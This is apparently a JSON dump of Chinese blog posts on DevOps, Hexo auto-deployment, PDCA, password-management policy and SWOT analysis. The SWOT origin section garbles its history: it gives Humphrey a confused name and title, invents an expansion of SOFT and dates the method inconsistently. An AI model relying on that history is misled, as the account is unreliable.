网络连接、未加密的敏感数据等，都可能成为攻击者的目标。\u003c/li\u003e\n\u003cli\u003e应对新型攻击和威胁的能力不足：随着网络攻击技术的不断发展和新型威胁的出现，传统软件开发可能无法及时应对这些新型攻击和威胁。例如，零日漏洞、勒索软件、分布式拒绝服务攻击（DDoS）等新型攻击手段可能给软件带来严重的安全风险。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e为了应对这些安全挑战，传统软件开发需要采取一系列措施来加强安全性。这包括提高开发团队的安全意识和技能、加强代码审查和测试、对第三方组件和库进行充分的安全验证和测试、实施安全的配置和管理等。此外，还可以引入安全左移等新的安全开发方法，将安全性作为软件开发的核心考量因素，从源头上降低安全风险。\u003c/p\u003e","title":"什么是安全左移,如何实现安全左移"},{"content":"DevOps（Development和Operations的组合词）是一组过程、方法与系统的统称，用于促进开发（应用程序/软件工程）、技术运营和质量保障（QA）部门之间的沟通、协作与整合。这是一种重视“软件开发人员（Dev）”和“IT运维技术人员（Ops）”之间沟通合作的文化、运动或惯例，是一个软件开发方法论。 DevOps的目标是通过自动化“软件交付”和“架构变更”的流程，使得构建、测试、发布软件能够更加地快捷、频繁和可靠。这种方法的出现是因为软件行业日益清晰地认识到，为了按时交付软件产品和服务，开发和运维工作必须紧密合作。\n《研发管理之认识DevOps》介绍了DevOps的概念和价值，本文我们来做一个小小的实践，通过阿里的云效DevOps平台来实现我的xiejava.ishareread.com的hexo博客网站的自动化部署实现持续集成和持续部署（CI/CD）。\n一、没有用DevOps之前 我的xiejava.ishareread.com个人博客是通过hexo搭建的。因为是个人博客用hexo搭建比较简单而且还可以通过github的pages服务不用购买自己的服务器都可让大家访问。hexo博客的搭建教程见《通过Git Pages+Hexo搭建自己的博客》毕竟github在国内访问不是很稳定，所以我是购买了一台阿里的云主机ECS来部署我的hexo应用。\n在没有用DevOps之前，我是通过自己本地用VS Code来编辑hexo的markdown博文，让后在本地通过执行hexo g命令生成构建hexo网站，然后登录到自己的阿里云主机上将文件传到服务器目录，再在服务器上构建并部署hexo应用。hexo很简单，这样构建发布也很容易，这几年也是这样做的。唯一不方便的就是有时候写的博文要修改，改一次就要重新上传发布到服务器上。毕竟咱也是搞IT的，感觉这样还是很不优雅。能不能提交markdown博文的.md文件候就自动给我发布了，省得每次还要登服务器，上传文件，编译，重启服务搞一系列的操作。\n二、用了DevOps之后 为了体现程序员的优雅，我的个人博客xiejava.ishareread.com，小小的hexo用上了DevOps的牛刀。 用了DevOps后，我只需要在本地用VS Code来编辑hexo的markdown博文，提交到代码仓库。后面的构建，打包，部署我都不用管了，直接通过DevOps平台自动做了。\n三、如何实践DevOps实现hexo网站的自动发布 DevOps平台工具有很多，最常见的就是大名顶顶的Jenkins，本来想搭一套Jenkins的我的云服务器本来就只有1核1G的内存，更本就扛不住。后来在阿里的网站上看到阿里推出了自己的DevOps平台云效，赶紧来试试。 云效DevOps平台功能很多，包括有项目协作、代码管理、流水线、测试管理、制品仓库、知识库。 对于我这个小小的hexo个人博客的应用，其他都用不上，我就用了代码管理和流水线。\n1、代码管理 将我的hexo博客代码托管到云效的代码管理Codeup代码库。 可以支持从github、gitee、coding等代码仓库导入代码库。 2、构建流水线 新建一条流水线用于拉代码、构建、部署。 1）设置流水线源 这里流水线源就是设置代码源流水线将从代码管理的Codeup代码库获取代码。其实也可以不用托管到云效的Codeup代码库，流水线代码源支持github、gitee、coding等代码仓库。 2）添加并设置构建环节 因为hexo是通过Node.js构建的，所以这里添加构建任务Node.js构建。 在node.js构建节点，可以选择Node的版版本，将自己hexo应用的构建命令写入到构建命令。 我这里只用到了三条命令，安装hexo，从代码库中拉取hexo的主题，通过hexo g生成hexo的博客应用。\n1 2 3 npm install -g hexo-cli --unsafe-perm git clone https://gitee.com/xiejava/hexo-theme-next.git themes/hexo-theme-next hexo g 这一步的任务输出就会生成hexo的博客应用的制品，给你打好包。下一步的动作就是将打好的制品包上传至自己的服务器进行部署。\n3）添加并设置部署环节 云效支持很多种部署，因为我是要部署到自己的云主机，所以选择“主机部署” 要部署到自己的云主机，就要让云效知道你的主机在哪里，可以点击新建主机组，将自己的主机添加进来。 将需要部署的主机添加到主机组 然后添加在主机上执行的部署脚本 我在主机上hexo 服务进程用supervisor进行了托管，在这里部署脚本只有三条命令。\n1 2 3 supervisorctl stop hexo tar zxvf /home/admin/app/package.tgz -C /home/myhexo/myblog supervisorctl start hexo 停止hexo的服务，将制品包解压到hexo的目录，然后再启动hexo服务就可以了。 云效还可以定义任务插件，比如在部署成功后发个邮件通知等。 到这里流水线就构建好了。\n3、测试流水线 设置触发条件，开启Webhook触发，实现提交代码到到云效的Codeup代码库就可以触发流水线，开启自动拉取代码，自动构建、自动打包上传至主机、自动部署的流水线作业。也可以手动运行触发流水线。 流水线执行后，可以在运行历史中看到每次流水线执行的情况。 也可以收到云效自动发过来的每次部署情况的邮件。 4、其他 云效针对流水线还提供了统计报表，可以看到流水线运行的概况的统计数据。 四、总结 本文通过一个hexo个人博客进行了DevOps的实践，当然因为项目太小不能实践到DevOps的全部，但也可以窥豹一斑。通过DevOps拉通开发和运维，通过应用DevOps平台能实现自动化“软件交付”的流程，使得构建、测试、发布软件能够更加地快捷、频繁和可靠，提交研发交付效率。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-05-20-devops%E5%AE%9E%E8%B7%B5%E9%80%9A%E8%BF%87%E4%BA%91%E6%95%88%E5%AE%9E%E7%8E%B0hexo%E8%87%AA%E5%8A%A8%E6%9E%84%E5%BB%BA%E9%83%A8%E7%BD%B2%E5%8F%91%E5%B8%83/","summary":"\u003cp\u003eDevOps（Development和Operations的组合词）是一组过程、方法与系统的统称，用于促进开发（应用程序/软件工程）、技术运营和质量保障（QA）部门之间的沟通、协作与整合。这是一种重视“软件开发人员（Dev）”和“IT运维技术人员（Ops）”之间沟通合作的文化、运动或惯例，是一个软件开发方法论。\n\u003cimg alt=\"DevOps\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2024/20240519/1-DevOps.png\"\u003e\u003c/p\u003e","title":"DevOps实践：通过云效实现hexo自动构建部署发布"},{"content":"一、什么是DevOps DevOps（Development和Operations的组合词）是一组过程、方法与系统的统称，用于促进开发（应用程序/软件工程）、技术运营和质量保障（QA）部门之间的沟通、协作与整合。这是一种重视“软件开发人员（Dev）”和“IT运维技术人员（Ops）”之间沟通合作的文化、运动或惯例，是一个软件开发方法论。\nDevOps的目标是通过自动化“软件交付”和“架构变更”的流程，使得构建、测试、发布软件能够更加地快捷、频繁和可靠。这种方法的出现是因为软件行业日益清晰地认识到，为了按时交付软件产品和服务，开发和运维工作必须紧密合作。\nDevOps它强调开发（Development）和运维（Operations）之间的协作与交流，以提高软件交付的速度和质量。DevOps的核心目标是缩短系统开发生命周期，提供持续的交付和快速的反馈。\n二、DevOps的背景和起源 DevOps的背景和起源可以追溯到软件开发行业面临的一些挑战和变革。\n在传统的软件开发模式中，设计、开发、测试、部署等各个环节往往是顺序进行的又叫瀑布开发模型，每个阶段都有明确的输出和交接点。然而，这种模式在面对快速变化的市场需求时显得捉襟见肘，无法满足用户对软件的快速迭代和持续交付的需求。因此，敏捷开发模式开始受到广泛关注。\n敏捷开发强调跨部门、跨角色的协作与沟通，注重快速响应变化，持续交付价值。在这种模式下，开发团队被划分为多个小团队，每个小团队负责一部分功能或模块的开发，通过短周期的迭代开发方式，逐步实现软件的整体功能。这种模式有效地提高了软件开发的并行度和效率，但也给运维带来了新的挑战。\n持续开发带来的运维问题主要包括：随着软件功能的不断增加和版本迭代速度的加快，运维工作面临巨大的压力。开发团队和运维团队之间往往存在沟通障碍，导致开发完成的功能在部署和运维阶段出现问题。此外，传统的软件开发模式通常将开发、IT运营和质量保障设为各自分离的部门，这种分工方式使得跨部门的协作变得困难，进一步加剧了运维问题。\n为了解决这些问题，DevOps应运而生。DevOps（Development和Operations的组合词）是一组过程、方法与系统的统称，用于促进开发（应用程序/软件工程）、技术运营和质量保障（QA）部门之间的沟通、协作与整合。\nDevOps的起源可以追溯到2009年左右，当时一些欧洲的IT企业开始尝试将开发和运维工作结合起来，以提高软件交付的效率和质量。随着这种模式的不断发展和完善，DevOps逐渐成为了全球软件开发行业的一种主流趋势。\nDevOps将开发、测试、运维拉到同一战线，使产品持续开发、持续集成、持续测试、持续部署、持续监控，非常频繁地发布新版本。它的目标是打破开发和运维之间的壁垒，实现二者的紧密结合，从而提高软件交付的速度和质量。\n如今，越来越多的企业开始采用DevOps模式来改进软件开发和运维流程，以应对快速变化的市场需求。\n三、DevOps的特点和价值 DevOps（Development和Operations的组合），旨在通过自动化、协作和共享责任来提高软件开发和运维的效率、质量和安全性。以下是DevOps的主要特点和价值：\n1、特点： ● 文化和团队协作：DevOps强调开发（Dev）和运维（Ops）团队之间的紧密合作，打破传统的壁垒，实现跨部门、跨角色的沟通和协作。 ● 自动化：通过引入自动化工具和流程，DevOps可以显著减少手动操作，提高开发、测试、部署和运维的效率。 ● 持续集成和持续部署（CI/CD）：CI/CD是DevOps的核心实践之一，通过自动化构建、测试和部署流程，实现快速迭代和交付。 ● 监控和反馈：DevOps强调对系统性能、安全性和可靠性的实时监控，以便及时发现问题并进行修复。同时，通过收集和分析数据，为决策提供支持。 ● 共享责任：在DevOps文化中，开发和运维团队共同承担系统质量、稳定性和可靠性的责任，共同推动系统的持续改进和优化。\n2、价值： ● 提高交付速度和质量：通过自动化和协作，DevOps可以显著缩短开发周期，提高交付速度。同时，通过引入持续集成和持续部署等实践，可以确保代码质量和系统稳定性。 ● 降低运维成本：通过自动化运维流程和工具，DevOps可以降低手动操作的错误率，减少故障恢复时间，从而降低运维成本。 ● 增强安全性：DevOps强调对系统性能的实时监控和数据分析，有助于及时发现潜在的安全风险并进行修复。此外，通过引入自动化安全测试和审计工具，可以确保系统的安全性。 ● 提高客户满意度：通过快速迭代和交付高质量的产品，DevOps可以满足客户的不断变化的需求，提高客户满意度。 ● 促进创新和竞争力：DevOps鼓励团队之间的协作和创新，有助于推动组织的持续创新和竞争力提升。\nDevOps将开发、测试、运维拉到同一战线，使产品持续开发、持续集成、持续测试、持续部署、持续监控，非常频繁地发布交付新版本。对比前面所说的瀑布式开发和敏捷开发，我们可以明显看出，DevOps贯穿了软件全生命周期。下面这张图，更明显地说明了DevOps所处的位置，还有它的价值：\nDevOps通过打破传统壁垒、引入自动化和协作实践、实时监控和数据分析等手段，为组织带来了诸多价值和优势。随着技术的不断发展和市场需求的变化，DevOps将在未来继续发挥重要作用。\n四、DevOps如何帮助提高软件交付速度和质量 DevOps通过一系列的实践和工具，帮助提高软件交付速度和质量，具体体现在以下几个方面：\n持续集成（CI）和持续交付（CD）： ○ DevOps强调将代码集成到主干开发分支中，并经过自动化测试，以确保每次提交的代码都是可靠的。持续集成使得开发人员能够频繁地将代码变更集成到共享的主干代码库中，并通过自动化测试和构建流程进行验证。 ○ 持续交付则通过自动化构建、测试和部署软件，实现快速、可靠的交付流程。当代码通过所有测试后，可以自动部署到生产环境，从而大大缩短了发布周期。 自动化测试： ○ 自动化测试是DevOps中不可或缺的一部分。通过自动化测试，可以快速、高效地发现和解决代码问题，同时减少手动测试的工作量。常见的自动化测试包括单元测试、集成测试和端到端测试等。这些测试可以在代码集成阶段就进行，从而确保代码的质量。 自动化部署和配置管理： ○ DevOps强调自动化部署和配置管理，通过使用工具和脚本自动化应用程序的部署和配置过程。自动化部署可以减少人为错误，确保发布过程的一致性和可重复性。配置管理工具则可以帮助团队管理应用程序的配置，提供版本控制和自动化更新，使得应用程序的部署和配置变得更加灵活和可管理。 实时监控和快速响应： ○ 通过实时监控，DevOps可以及时发现和解决系统问题，减少系统故障和停机时间。同时，快速响应也可以保证在系统出现问题时能够快速解决问题，进一步减少停机时间。这种实时监控和快速响应的机制有助于确保软件的稳定性和可用性。 文化与团队协作： ○ DevOps强调跨团队协作和沟通，打破了传统开发和运维之间的壁垒。它鼓励团队成员共同制定标准、流程和最佳实践，共享知识和经验，从而提高团队整体的工作效率。这种文化和团队协作的氛围有助于加快软件开发和交付的速度。 反馈迭代循环： ○ DevOps通过建立反馈循环，将客户反馈和业务需求纳入产品迭代计划中。这使得团队能够更快地响应客户需求和变化，不断改进产品以满足市场的期望。这种反馈循环有助于确保软件交付的质量符合客户和业务的需求。 DevOps通过持续集成、自动化测试、自动化部署和配置管理、实时监控和快速响应、文化与团队协作以及反馈循环等手段，帮助提高软件交付速度和质量。这些实践和工具使得软件开发和交付过程更加高效、可靠和灵活。以下是DevOps生态圈中的一些工具，企业可以通过集成这些工具搭建自己的DevOps平台。\n在DevOps的流程下，运维人员会在项目开发期间就介入到开发过程中，了解开发人员使用的系统架构和技术路线，从而制定适当的运维方案。而开发人员也会在运维的初期参与到系统部署中，并提供系统部署的优化建议。除了平台工具外，想要将DevOps真正落地，首先第一点，是思维转变，DevOps并不仅仅是组织架构变革，更是企业文化和思想观念的变革。根据DevOps思想重新梳理全流程的规范和标准。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-05-14-%E7%A0%94%E5%8F%91%E7%AE%A1%E7%90%86%E4%B9%8B%E8%AE%A4%E8%AF%86devops/","summary":"\u003ch2 id=\"一什么是devops\"\u003e一、什么是DevOps\u003c/h2\u003e\n\u003cp\u003eDevOps（Development和Operations的组合词）是一组过程、方法与系统的统称，用于促进开发（应用程序/软件工程）、技术运营和质量保障（QA）部门之间的沟通、协作与整合。这是一种重视“软件开发人员（Dev）”和“IT运维技术人员（Ops）”之间沟通合作的文化、运动或惯例，是一个软件开发方法论。\u003c/p\u003e","title":"研发管理之认识DevOps"},{"content":"\n一、什么是PDCA PDCA循环是由美国质量管理专家沃特·阿曼德·休哈特（Walter A. Shewhart）在20世纪30年代提出的，最初用于制造业的质量管理。休哈特博士在构想PDCA循环时，总结了质量管理活动的基本规律，并将其上升为科学的程序。\n在PDCA循环中，每个阶段都有其特定的任务和目的： 计划阶段（Plan）：主要工作是搜集资料、找出问题、找出主要问题、制定计划措施。计划需要明确目的、措施、执行部门、执行时间等。 执行阶段（Do）：即按照计划要求去实地执行，实现计划中的内容。 检查阶段（Check）：总结执行计划的结果，注意效果，找出成功的经验和失败的教训。 处理阶段（Act）：对检查的结果进行处理，巩固措施，制定标准，形成规章制度。同时，找出遗留问题，转入下一个循环。\n然而，真正让PDCA循环广为人知并得以普及的是美国的质量管理专家爱德华兹·戴明（W.E. Deming）。戴明博士在20世纪50年代初采纳并大力宣传了PDCA循环，因此这个循环也被称为“戴明环”。戴明博士强调持续的质量改进和顾客满意，他提出的PDCA循环理念对于企业的质量管理具有深远的影响。 PDCA循环的提出背景与当时工业界对质量管理的需求密不可分。随着市场竞争的加剧和消费者对产品质量要求的提高，企业需要寻求一种有效的质量管理方法来提高产品质量和客户满意度。PDCA循环提供了一个科学、系统的质量管理框架，帮助企业识别问题、制定改进措施、执行计划并检查结果，从而实现质量的持续改进。\nPDCA循环的提出也反映了质量管理理念的发展。从最初的质量检验阶段，到后来的统计质量控制阶段，再到全面的质量管理阶段，人们对于质量管理的认识不断深化。PDCA循环作为全面质量管理所应遵循的科学程序，强调了质量管理的系统性和持续改进的重要性。PDCA循环这个由美国质量管理专家沃特·阿曼德·休哈特提出的理念，经戴明采纳、宣传后普及，不仅在质量管理领域发挥了重要作用，而且已经渗透到各个行业和领域的各个方面。\n二、PDCA的应用场景 PDCA循环作为一种科学的管理工具，其适用范围非常广泛，几乎可以应用于所有需要持续改进和提升的领域和场景：\n项目管理：在项目管理中，PDCA循环可用于规划项目、分配资源、监控进度以及解决项目过程中出现的问题。通过不断地进行计划、执行、检查和处理的循环，项目经理可以确保项目按计划进行，并及时调整策略以应对不可预见的情况。 质量管理：作为质量管理的经典工具，PDCA循环在制造业、服务业等领域都有广泛应用。通过循环往复地识别质量问题、分析原因、制定改进措施并验证效果，企业可以不断提升产品和服务的质量，满足客户需求。 流程优化：PDCA循环可用于对现有业务流程进行分析和优化。通过收集数据、评估流程效率、识别瓶颈环节并制定改进措施，企业可以提高工作效率、降低成本并增强竞争力。 员工培训与发展：在人力资源管理中，PDCA循环可用于员工培训计划的设计和执行。通过制定培训目标、实施培训计划、评估培训效果并根据反馈进行调整，企业可以提升员工的技能水平和工作绩效。 市场营销：在市场营销领域，PDCA循环可用于制定营销策略、推广活动、评估市场反馈并根据结果进行调整。通过不断试错和优化，企业可以更有效地推广产品和服务，提升市场份额。 个人成长与发展：除了组织层面的应用，PDCA循环同样适用于个人成长与发展。个人可以制定职业发展规划、设定目标、采取行动并不断反思和调整，以实现个人成长和职业成功。 PDCA循环通过不断地进行计划、执行、检查和处理的循环，组织和个人可以不断提升绩效、解决问题并实现目标。\n三、PDCA在信息系统项目管理中的应用 在信息系统项目管理中，PDCA循环是一个非常重要的工具，用于确保项目的顺利进行和成功完成。PDCA循环包括四个主要阶段：Plan（计划）、Do（执行）、Check（检查）和Act（处理）。\nPlan（计划）阶段： 在信息系统项目管理的初期，项目管理师需要制定详细的项目计划。这一阶段涉及项目的目标、范围、时间、成本、质量、人力资源、沟通、风险和干系人管理等各个方面的规划。计划制定不仅仅是简单的设定目标和任务，还包括对市场、技术、用户需求等的深入分析和预测。此外，项目管理师还需要制定具体的实施步骤和对策，确保项目的顺利进行。 Do（执行）阶段： 执行阶段主要是按照预定的计划进行实施。这包括分配任务、协调团队成员、解决遇到的问题等。在这一阶段，项目管理师需要确保所有团队成员都清楚自己的职责和任务，并且能够按照计划执行。 Check（检查）阶段： 在执行阶段之后，项目管理师需要对项目的进展和成果进行检查。这包括与计划的对比，检查项目是否按照预定的目标进行，以及是否存在偏差或问题。通过收集和分析数据，项目管理师可以评估项目的状态，并确定是否需要调整或改进。 Act（处理）阶段： 处理阶段是PDCA循环的关键部分。在这一阶段，项目管理师需要分析检查阶段发现的问题和偏差，找出原因，并制定相应的纠正措施和预防措施。这有助于项目重新回到预定的轨道，并确保项目能够顺利完成。此外，项目管理师还需要总结项目执行过程中的经验教训，为今后的项目提供有益的借鉴。 整个PDCA循环是一个不断迭代和持续改进的过程。每一个循环周期结束后，遗留的问题和需要改进的地方都会被纳入下一个循环周期，通过不断的循环，项目的管理水平会得到不断提升。\n总的来说，PDCA循环在信息系统项目管理中的应用是一个系统性、循环性和持续改进的过程。通过科学的规划、执行、检查和处理，项目管理师可以确保项目的顺利进行和成功完成，同时提升项目管理的水平和效率。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-04-29-pdca%E5%BE%AA%E7%8E%AF%E6%8C%81%E7%BB%AD%E7%B2%BE%E8%BF%9B%E7%9A%84%E5%B7%A5%E5%85%B7/","summary":"\u003cp\u003e\u003cimg alt=\"PDCA\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2024/20240428/PDCA.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"一什么是pdca\"\u003e一、什么是PDCA\u003c/h2\u003e\n\u003cp\u003ePDCA循环是由美国质量管理专家沃特·阿曼德·休哈特（Walter A. Shewhart）在20世纪30年代提出的，最初用于制造业的质量管理。休哈特博士在构想PDCA循环时，总结了质量管理活动的基本规律，并将其上升为科学的程序。\u003c/p\u003e","title":"PDCA循环：持续精进的工具"},{"content":"一、什么是通行字 安全管理所指的通行字指的是对用于身份验证的账号密码或口令的管理。在计算机系统、网络服务、数据库管理等领域，通行字（或称账号口令、密码）是用于验证用户身份的重要机制。通行字管理的核心目标是确保只有授权用户才能访问系统资源，同时保护敏感信息不被未授权访问。\n通行字除了自然人登录信息系统时所必需的用于鉴别登录者身份和权限信息的账号和口令外，还包括信息系统软件之间互相调用数据所需的账号和口令。\n二、通行字安全管理的重要性 首先，通行字作为身份验证的关键手段，其安全性直接关系到个人信息、系统资源和数据隐私的保护。一旦通行字被破解或泄露，可能导致未经授权的访问和数据泄露，进而造成财产损失、隐私侵犯甚至法律纠纷。因此，加强通行字安全管理是确保个人和组织信息安全的第一道防线。\n对于企业而言，通行字安全管理更是关乎到整个信息系统的安全稳定。企业内部的敏感数据和关键业务信息都需要得到有效的保护，而通行字作为员工访问系统资源的凭证，其安全性不容忽视。通过实施严格的通行字安全管理措施，企业可以降低内部泄露和外部攻击的风险，维护企业的正常运营和声誉。\n最后，通行字安全管理也是法律法规的要求。许多国家和地区都制定了相关的数据保护和隐私法规，要求企业和组织必须采取必要的安全措施来保护用户的个人信息和数据安全。因此，加强通行字安全管理也是企业和组织履行法律责任的重要体现。\n综上所述，通行字安全管理的重要性不言而喻。无论是个人还是组织，都需要高度重视通行字的安全管理，采取有效的措施来确保通行字的安全性和可用性。\n三、如何做好通行字安全管理 1、通行字一般要求 通行字账号和口令严禁使用出厂默认的、易被猜测的字符串，如admin、root、huawei、123456、111111、666666、888888等。 通行字口令长度一般应至少8位，系统最高权限通行字口令长度应至少12位。 通行字口令应包括数字、小写字母、大写字母、特殊符号4类中至少3类。 通行字口令应与用户名无相关性，口令不得包含账号的完整字符串、大小写变位或形似变换的字符串。 口令设置应避免键盘排序密码。\n2、通行字管理原则 通行字管理原则包括以下几个方面：\n职责分离：确保不同的职责和权限得到合理的分离，例如，通行字的创建、修改和删除应该由不同的人员或部门负责，以避免权力滥用和误操作。 最小授权：通行字的授权应遵循最小权限原则，即每个用户只能获得完成其任务所需的最低权限，这有助于减少潜在的安全风险，防止未经授权的用户访问敏感信息或执行关键操作。 特殊控制：对于特殊的通行字，如管理员密码或敏感数据的访问密码，应该实施额外的控制措施，例如使用更强的密码策略、定期更换密码或实施多因素身份验证等措施，以增强安全性。 安全责任：通行字使用人是通行字安全的第一责任人，需要严格遵守通行字安全保护相关规定，如正确填写身份信息、访问权限最小化、及时申请修改或关闭相关权限等。 操作日志留存：所有系统均留存一定时间（如1年以上）的用户操作日志，定期进行稽核，如有违规违法操作，将立即收回通行字权限并追究相关责任。 一人一号原则：严格执行“一人一号”，不允许账号转借他人使用，如因转借导致出现违规操作，将由通行字所有人自行承担相关责任。 通行字管理是网络安全的重要组成部分，它要求系统管理员和用户都采取适当的措施来保护通行字的安全，防止未授权的访问和数据泄露。\n3、通行字安全管理运营建议 鉴于通行字管理的重要性，通行字安全管理运营建议从通行字的全生命周期进行管理。通行字安全管理包括申请、注册、使用、变注销等环节的全生命周期管理，在必要的环节有监督有审核。 1、通行字申请/注册流程由通行字申请人发起，申请人所在部门(通行字使用部门)负责人、申请访问权限的各通行字维护部门负责人、通行字管理员审核，通行字制作员按照结果制作和分配通行字。 2、按照“谁使用谁负责”的原则，通行字使用人是通行字安全的第一责任人，通行字使用过程须由通行字管理员督促并通过系统监督通行字使用人遵照本办法执行。 3、通行字变更/注销(如通行字使用人因职责发生变化而导致相应通行字权限发生变化)应由通行字申请人、使用人或使用人所在部门主动发起变更或注销需求，通行字管理员或制作员负责实施。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-04-26-%E5%AE%89%E5%85%A8%E8%BF%90%E8%90%A5%E4%B9%8B%E9%80%9A%E8%A1%8C%E5%AD%97%E7%AE%A1%E7%90%86/","summary":"\u003ch2 id=\"一什么是通行字\"\u003e一、什么是通行字\u003c/h2\u003e\n\u003cp\u003e安全管理所指的通行字指的是对用于身份验证的账号密码或口令的管理。在计算机系统、网络服务、数据库管理等领域，通行字（或称账号口令、密码）是用于验证用户身份的重要机制。通行字管理的核心目标是确保只有授权用户才能访问系统资源，同时保护敏感信息不被未授权访问。\u003c/p\u003e","title":"安全运营之通行字管理"},{"content":"\n一、什么是SWOT分析法 SWOT分析法是一种用于评估组织、项目、个人或任何其他事物的战略规划工具。SWOT是Strengths（优势）、Weaknesses（劣势）、Opportunities（机会）和Threats（威胁）的缩写。通过分析这四个方面，SWOT分析法可以帮助决策者了解当前情况，并为未来的行动制定策略。\n优势（Strengths）：指组织或项目内部的资源和能力，这些可以成为竞争优势。例如，强大的品牌、专业技能、专利技术、良好的客户关系、充足的资金等。 劣势（Weaknesses）：指可能阻碍组织或项目成功的内部限制或缺陷。这可能包括资源短缺、技能不足、过时的设备、不良的品牌形象或低效的流程等。 机会（Opportunities）：指外部环境中可能带来利益的元素。这可能包括市场增长、技术进步、合作伙伴关系、政策变化或竞争对手的弱点等。 威胁（Threats）：指可能对组织或项目造成损害的外部因素。这可能包括竞争对手的行动、市场需求的下降、不利的法规变化、经济衰退或技术变革等。 SWOT分析法通常以矩阵形式呈现，将优势、劣势、机会和威胁分别列在四个象限中，以便于直观地比较和分析。通过对组织或个人的内部条件（优势与劣势）和外部环境（机会与威胁）进行系统的分析，帮助人们深入了解自身和市场的状况，从而制定出更有效的战略计划。通过这种方法，组织可以识别和利用其优势，弥补劣势，抓住机会，并应对威胁，从而制定出更加全面和有效的战略规划。\n二、SWOT分析法是如何产生的 SWOT分析法，也被称为SWOT矩阵或SWOT分析，其起源可以追溯到多个阶段和不同的研究者。 在20世纪60年代，美国斯坦福大学的管理学教授安德鲁斯曼（Albert Humphrey）在研究美国500强公司的竞争优势时，发现这些公司都进行了一种类似的战略分析。他最初将这种分析命名为SOFT（Strategy of Firm Tactics）（优势、劣势、机会、威胁），即公司策略。随后，安德鲁斯曼对多家美国公司进行了深入研究，并发现这些成功的公司都对自己的优势和劣势有清晰的认识，并能利用外部的机会和威胁来调整战略。为了更好地解释这种情况，他将SOFT更名为SWOT。 然而，SWOT分析法的具体提出者通常被认为是美国旧金山大学的管理学教授海因茨·韦里克（Heinz Weihrich）。他在20世纪80年代初进一步发展和完善了SWOT分析，使其成为一种帮助企业（或部门、个人）清晰把握与企业（或部门、个人）发展目标相关的外部和内部环境与资源的战略分析工具。 SWOT分析法中的四个关键要素分别是：优势（Strengths）、劣势（Weaknesses）、机会（Opportunities）和威胁（Threats）。其中，优势和劣势主要关注企业内部的条件，而机会和威胁则关注企业外部的环境。 自SWOT分析法提出以来，它逐渐得到了广泛的认可和应用。在20世纪70年代，SWOT分析开始在商业界广泛应用，许多公司开始使用它来评估自己的竞争优势和市场机会，以制定更有效的战略计划。到了80年代，SWOT分析进一步发展并得到了学术界的广泛认可，许多商学院开始将其纳入课程内容。随着信息技术的发展，SWOT分析也开始使用电子表格和软件工具进行分析和展示，使其更加方便和高效。如今，SWOT分析已经成为战略管理重要工具，在全球范围内得到了广泛应用。\n三、SWOT分析法适合哪些人 SWOT分析法作为战略规划工具适合以下人群使用：\n企业管理人员：企业管理人员，特别是高层管理人员，可以使用SWOT分析法来评估企业的整体竞争态势，识别出企业的核心优势、潜在的劣势、市场机会以及面临的威胁。这有助于他们制定和调整企业战略，以应对市场竞争和变化。 市场营销人员：市场营销人员可以利用SWOT分析法来分析产品或服务在市场上的表现。通过评估产品的优势与劣势，以及市场中的机会与威胁，市场营销人员可以制定更有效的市场推广策略，提升产品的竞争力。 创业者：对于初创企业和小型企业，SWOT分析法可以帮助创业者清晰地认识到自己的资源和能力，以及外部环境中的机遇和挑战。这有助于他们制定创业计划、明确市场定位，并寻找适合自身发展的策略。 职业规划者：个人在进行职业规划时，也可以使用SWOT分析法来评估自己的技能、经验和兴趣，以及职业市场中的机会和威胁。这有助于个人制定更合理的职业目标和发展计划，提升自身的职业竞争力。 项目经理：项目经理可以运用SWOT分析法来评估项目的可行性、潜在风险以及项目资源与市场需求的匹配度。这有助于他们制定项目计划、确保项目顺利进行，并降低潜在风险。 咨询顾问和策略分析师：作为专业的咨询顾问或策略分析师，SWOT分析法是他们为客户提供服务的常用工具。通过运用SWOT分析法，他们可以帮助客户识别核心优势、挖掘市场机会，并制定相应的战略和行动计划。 综上所述SWOT分析法适合那些需要制定战略、进行市场分析和评估竞争态势的人群使用。通过运用这一工具，他们可以更加清晰地认识到自身的优势和劣势，以及外部环境中的机遇和挑战，从而制定出更加有效的战略和决策。\n四、SWOT分析法的应用场景 SWOT分析法，也称为SWOT矩阵，是一种常用的战略规划工具，用于评估一个企业或项目的内部优势（Strengths）、劣势（Weaknesses）以及外部环境的机会（Opportunities）和威胁（Threats）。这种分析法通过系统地识别这些关键因素，帮助企业或个人制定更有效的发展战略和决策。 利用SWOT矩阵，把四个大方向的条件罗列出来，能够初步分析一件事情要不要做。 如果一件事情已经决定要做了，再把SWOT的四个条件通过矩阵做交叉关联，就有了这个SWOT交叉矩阵。 用交叉矩阵可以更进一步分析在内部和外部因素综合之下，该怎么能把事情处理的更好。 具体地，SWOT分析法的应用包括：\n优势（Strengths）：这是组织内部积极且有助于实现目标的因素。例如，企业可能拥有强大的品牌影响力、技术优势、高效的供应链或优秀的员工队伍。 劣势（Weaknesses）：这些是组织内部消极且可能阻碍目标实现的因素。例如，企业可能面临资金短缺、技术落后、管理不善或市场份额小等问题。 机会（Opportunities）：这些是外部环境中的有利因素，可能为企业带来增长或发展的机遇。例如，市场需求的增长、新技术的出现、政策的支持或竞争对手的失误等。 威胁（Threats）：这些是外部环境中的不利因素，可能对企业的运营和发展造成威胁。例如，市场竞争的加剧、法律法规的变化、经济衰退或自然灾害等。 SWOT分析法的具体应用非常广泛，包括但不限于以下几个方面：\n商业策略制定：企业可以利用SWOT分析来评估自身在市场中的竞争地位，识别潜在的增长机会，并制定相应的市场进入、产品推广或竞争策略。 产品开发：在产品开发阶段，SWOT分析可以帮助企业识别产品的优势和劣势，以及市场上的机会和威胁，从而确定最佳的产品设计和营销策略。 市场营销：通过SWOT分析，企业可以更好地了解自身的品牌形象、产品质量和服务水平，以及竞争对手的情况，从而制定更有效的市场推广策略。 个人职业规划：个人也可以使用SWOT分析来评估自己的技能、经验和兴趣，以及职业市场中的机会和威胁，从而制定更适合自己的职业发展路径。 